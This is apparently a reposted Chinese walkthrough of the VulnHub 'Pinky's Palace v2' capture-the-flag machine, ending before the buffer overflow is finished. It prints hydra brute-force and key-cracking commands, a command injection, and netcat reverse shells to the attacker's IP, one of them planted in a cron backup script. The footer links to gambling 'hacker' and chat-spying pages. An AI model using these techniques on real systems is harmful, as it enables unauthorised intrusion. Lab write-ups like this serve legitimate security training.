VulnHub-Pinky’s Palace: v2-靶机渗透学习

访客4年前黑客资讯1156

靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v2,229/

靶机难度:中级(CTF)

靶机发布日期:2018年3月18日

靶机描述:一个现实的Boot2Root。获得对系统的访问权限并阅读/root/root.txt

Wordpress将无法正确呈现。您将需要使用控制台上显示的IP更改主机文件:echo 192.168.x.x pinkydb | sudo tee -a /etc/hosts

进入难度:容易/中级

扎根困难:中级/困难

目标:得到root权限&找到flag.txt

作者:DXR嗯嗯呐

信息收集

nmap扫描IP

1610969233_60057091e8b0aa4240da0.png!small?1610969234996

根据提示先设置kail上hosts文件

echo 192.168.16.147 pinkydb | sudo tee -a /etc/hosts

1610969270_600570b69e5d130a07c53.png!small?1610969271546

1610969262_600570ae514753a74fd10.png!small?1610969263147

nmap扫描端口

1610969276_600570bc9db0a6788384a.png!small?1610969277680

80 http WordPress 4.9.4

4655 关闭

7654 关闭

31337 关闭

访问80端口

1610969286_600570c6ee4c1b7b0ab36.png!small?1610969305056

看着像一下wordpress框架,使用wpscan枚举一下用户

wpscan --url http://pinkydb/--enumerate u --api-token 'API'

1610969302_600570d606827e5b6ee3c.png!small?1610969305057

发现pinky1337用户,记录一下

直接dirb爆破目录

1610969308_600570dca992c1711dc30.png!small?1610969309750

分别访问目录在http://pinkydb/secret/发现bambam文件

1610969315_600570e3d390abbe36186.png!small?1610969316704

看着像是一个端口试探,使用knock测试一下

1610969323_600570eb84f20bb86bdcc.png!small?1610969324518

端口没有变化,使用python,根据上述的3个数字列出全部的排列组合,因为不知道其是根据哪个顺序来判断的

from itertools import combinations, permutations

print(list(permutations([8890,7000,666])))

1610969334_600570f6e425e6f1c5aed.png!small?1610969335897

使用脚本将排列组合,knock测试

#!/bin/bash

while read -r line

do

echo '---------------'

knock -v 192.168.16.147 $line

done < /tmp/knock.txt

1610969348_60057104496dbcae6b122.png!small?1610969349122

1610969361_6005711196fbe762680f6.png!small?1610969362581

nmap扫描端口,发现端口都处于open状态了

1610969372_6005711cccd1660f616e4.png!small?1610969374040

4655? ssh

7654 http nginx

31337?

ssh端口没有密码

7654端口可以访问(需要加上域名)

1610969379_6005712330c4784407146.png!small?1610969380172

1610969400_60057138bd33ab148e1fc.png!small?1610969401794

Sqlmap没有跑出来漏洞,本来想使用rockyou.txt字典跑一下,看了看算了吧太慢了,先用cewl? 生成一个字典试试

cewl http://pinkydb/-w /tmp/cs.txt

1610969408_600571401d5771d052c8e.png!small?1610969408878

使用hydra对admin、pinkydb、pinky1337用户用cewl生成的字典跑一下密码

hydra -L name.txt? -P cs.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"

1610969422_6005714e3e1d90d3b09e0.png!small?1610969423556

找到账号密码

pinky\Passione

pinky1337\Pinky

提权

登陆pinky用户,获得stefano用户的秘钥

1610969433_60057159877539aff5d9e.png!small?1610969434697

将文件下载,使用秘钥登陆,发现秘钥需要密码

  • 这是我们首先使用ssh2john将将密钥转换为可破解的哈希,使用John the Ripper破解这个哈希值,这样就可以破解私有ssh密钥的密码

  • ssh2john可以转化ssh私钥为john可以破解的格式.但是最新的JTR上没有发现ssh2john,一下是github:

  • https://github.com/magnumripper/JohnTheRipper

  • run目录下有ssh2john.py

换为可破解的哈希

ython ssh2john.py? id_rsa > id_rsa.txt

1610969488_6005719034c4b7cb6abcc.png!small?1610969491387

john破解ssh秘钥的密码

john -w=/usr/share/wordlists/rockyou.txt id_rsa.txt

1610969529_600571b9ecb373420702a.png!small?1610969530911

获得密码:secretz101

ssh登陆成功

1610969542_600571c6d4defaf247d5d.png!small?1610969543809

在tools目录下获得提示:Pinky给我做了这个程序,所以我可以很容易地给他发信息。

1610969557_600571d5d1ad0d6ab1d2a.png!small?1610969558751

我们看一下qsub小程序,只有执行没有读写权限

1610969563_600571db1d88c03ba7019.png!small?1610969564013

看到程序的所属组为www-data,看来还是和网站有关系,在刚刚登陆的界面中,发现存在远程文件包含漏洞

http://pinkydb:7654/pageegap.php?1337=//etc/passwd?

1610969575_600571e752d96e11a94f2.png!small?1610969580040

这样的话看看可以读到qsub程序不

1610969593_600571f945fd5cbe7c2cf.png!small?1610969598588

发现了TERM环境变量

xterm 是图形界面baivirtual terminal

virtual terminal ,是一个协议,一个接bai口,用于在各种连接du环境中提zhi供如同本机控制台dao一样的界面,文字操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。

1610969600_60057200241685dbaa96d.png!small?1610969600835

1610969615_6005720f8d1167f50cc6b.png!small?1610969616373

直接想程序输入一个反弹shell,测试一下

https://www.freebuf.com/articles/web/qsub '$(nc -e /bin/bash 192.168.16.143 6666)'

1610969623_60057217baf57c6317473.png!small?1610969624544

1610969629_6005721d0bfd58b42808c.png!small?1610969629858

获得pinky权限

去/home/pinky/messages/目录看一下stefano_msg.txt文件

1610969634_60057222c7226c6a17ec7.png!small?1610969635603

这就是执行qsub程序添加的参数

查询关于备份访问的目录和文件看一下,在/usr/local/bin目录下发现一个sh文件

1610969650_60057232d9e80afcd2b6d.png!small?1610969652266

查看文件所属组pinky,需要newgrp命令切换当前用户组,在查看文件

查看发现这是一个备份的脚本,删除压缩包,在将html目标压缩备份

1610969656_60057238be983d03814fc.png!small?1610969657740

直接将反弹shell接入文件,在靶机执行备份的时候,就可以获得demon用户的shell

echo 'nc -e /bin/bash 192.168.16.143 7777' >> /usr/local/bin/backup.sh

cat /usr/local/bin/backup.sh

(一步小心吧源文件的内容覆盖了。。。。。)

1610969669_6005724539a5cdab1873a.png!small?1610969670029

等待一会,因为这备份脚本一般都是定时执行的,获得demn用户shell

1610969682_600572525aed038df9dc4.png!small?1610969683119

命令crontab -l 我们看到demon用户5分钟只用一个backup.sh脚本

1610969692_6005725c9826285422380.png!small?1610969694668

经过排查,发现root用户启动了一个拥有者为demon用户的程序

ps uax

1610969702_60057266cc6d4908217d4.png!small?1610969703518

find / -name 'panel' 2>/dev/null

1610969719_6005727792bf348aa13b3.png!small?1610969720434

使用nc将文件传输到kail上测试

kail执行命令:nc -lvp 4666 > panel

靶机执行命令:nc 192.168.16.143 4666 < panel

赋执行权限

1610969749_600572952eb0c66c304b4.png!small?1610969749938

gdb调试程序,info functions查看函数,发现程序使用了strcpy函数

1610969762_600572a2ca0da8fde617c.png!small?1610969763997

运行程序,看到显示:从子进程13940中分离fork之后的进程。在本机发现程序对应的31337端口,看来靶机上启动的31337端口应该就是这个程序。

连接kail上的31337端口,输入1024个字符,看看有没有溢出报错

1610969769_600572a9e6ced0e233231.png!small?1610969772935

1610969778_600572b24c94614007da8.png!small?1610969779807

根据上图我们看到每次nc连接输入后,程序会再次创建一个子进程,也因为gdb调试时,默认跟踪父进程,所有我们看不到子进程的具体内容。

首先我们需要让gdb跟踪子进程,再将父进程设置为暂停状态。

set follow-fork-mode child

set detach-on-fork off

使用gdb调试的时候,gdb只能跟踪一个进程。可以在fork函数调用之前,通过指令设置gdb调试工具跟踪父进程或子进程。默认情况下gdb是跟踪父进程的。

  • show follow-fork-mode : 查看目前的跟踪模式。

  • set follow-fork-mode child : 命令设置gdb在fork之后跟踪子进程。

  • set follow-fork-mode parent : 设置跟踪父进程。

  • show detach-on-fork : 显示了目前是的detach-on-fork模式

  • set detach-on-fork on : 只调试父进程或子进程的其中一个(根据follow-fork-mode来决定),这是默认的模式。

  • set detach-on-fork off : 父子进程都在gdb的控制之下,其中一个进程正常调试(根据follow-fork-mode来决定),另一个进程会被设置为暂停状态。

1610969814_600572d62977ba155a813.png!small?1610969814920

在此执行,我们看到了溢出报错

1610969829_600572e5270d691c34126.png!small?1610969832042

1610969856_600573003fe2b20523442.png!small?1610969857128

0x00000000004009aa in handlecmd

看来是handlecmd函数中存放在输入、输入的信息,首先我们找到溢出的位置

echo $(python -c "print 'a' * 113") | nc 192.168.16.143 31337

1610969865_600573093de0971ec2150.png!small?16109698671591610969871_6005730f79ce2de6b3050.png!small?1610969873047

经过测试发现第113个字符是溢出位置的开始

在测试中发现120个字符处开始,我们测试的字符开始覆盖了内存位置

1610969879_6005731764518e274c6b3.png!small?1610969881336

上图之一个结果为126个字符a时,内存地址未覆盖。

第二个结果为124个字符a时,内存地址中数字61为ASCLL编码的a。

第三个结果为120个字符a时,内存地址未覆盖。

使用 info register查询系统寄存器信息

1610969892_6005732454f159368f597.png!small?1610969893415

之后因为这个问题卡了两天了,暂时先放放吧,回头学会了,再来看这个哎。

如果想接着学习可以看看这篇文章,写的很好。https://blog.csdn.net/qq_34801745/article/details/104070421

总结

之一次靶机没有打完,打不下去了,缓冲区溢出的问题我真的太垃圾了。继续加油学习吧!!!

相关文章

东北农村适合开什么厂(现在在农村开什么厂比

东北农村适合开什么厂(现在在农村开什么厂比

在农村办一个厂成本和风险都比城镇地区低不少,但如果没有因地制宜选择办厂类型,成功率不高和发展前景也不大。由于在农村办厂的主要客户是农民,了解他们的需求和喜好就显得至关重要。 农作物加工厂...

网赌账户冻结找黑客能出款吗-手机上模拟黑客的网站(如何在手机上模拟黑客攻击?)

网赌账户冻结找黑客能出款吗-手机上模拟黑客的网站(如何在手机上模拟黑客攻击?)

网赌账户冻结找黑客能出款吗相关问题 黑客联系方式怎么找相关问题 黑客怎么取名字 和包为什么给我充话费(中国移动和包充话费)...

最权威的知识网站(国内知识类网站)

最权威的知识网站(国内知识类网站)

本文目录一览: 1、有什么好的汽车知识网站? 2、有哪些值得推荐的涨知识网站? 3、最权威的百科网站 4、中国知网是不是最权威的学术网 5、什么科普网站比较好用呢? 有什么好的汽车知...

日本首相菅义伟:岁末孙德奎年初要集中采取防疫对策

  (抗击新冠肺炎)日本首相菅义伟:岁末年初要集中采取防疫对策   中新社东京12月14日电 (记者 吕少威)日本首相菅义伟14日晚在首相官邸召开新冠疫情对策总部会议,菅义伟表示,岁末年初是要集中采...

美版有锁卡贴解锁教程(美版超雪卡贴解锁教程)

锁住的iPhone在销售市场上早已存有很长期了,这种设备必须与SIM卡标识融合应用(除开一些变坏设备)。尽管有很多缺陷,如繁杂的激话,不可以刷和根据iTunes手动式擦掉等。依然有非常总数的这类设备在...

能不能查到老公的微信谈天内容

想完全删除微信记录吗?信任很多小伙伴们早已刻不容缓的想完全删除微信记录了,因为手机微信记录中很多数据信息都对比隐私保护,若是不可以从手机彻底删除,难以确保这种手机微信记录一直安全。因此为了更好地让朋友...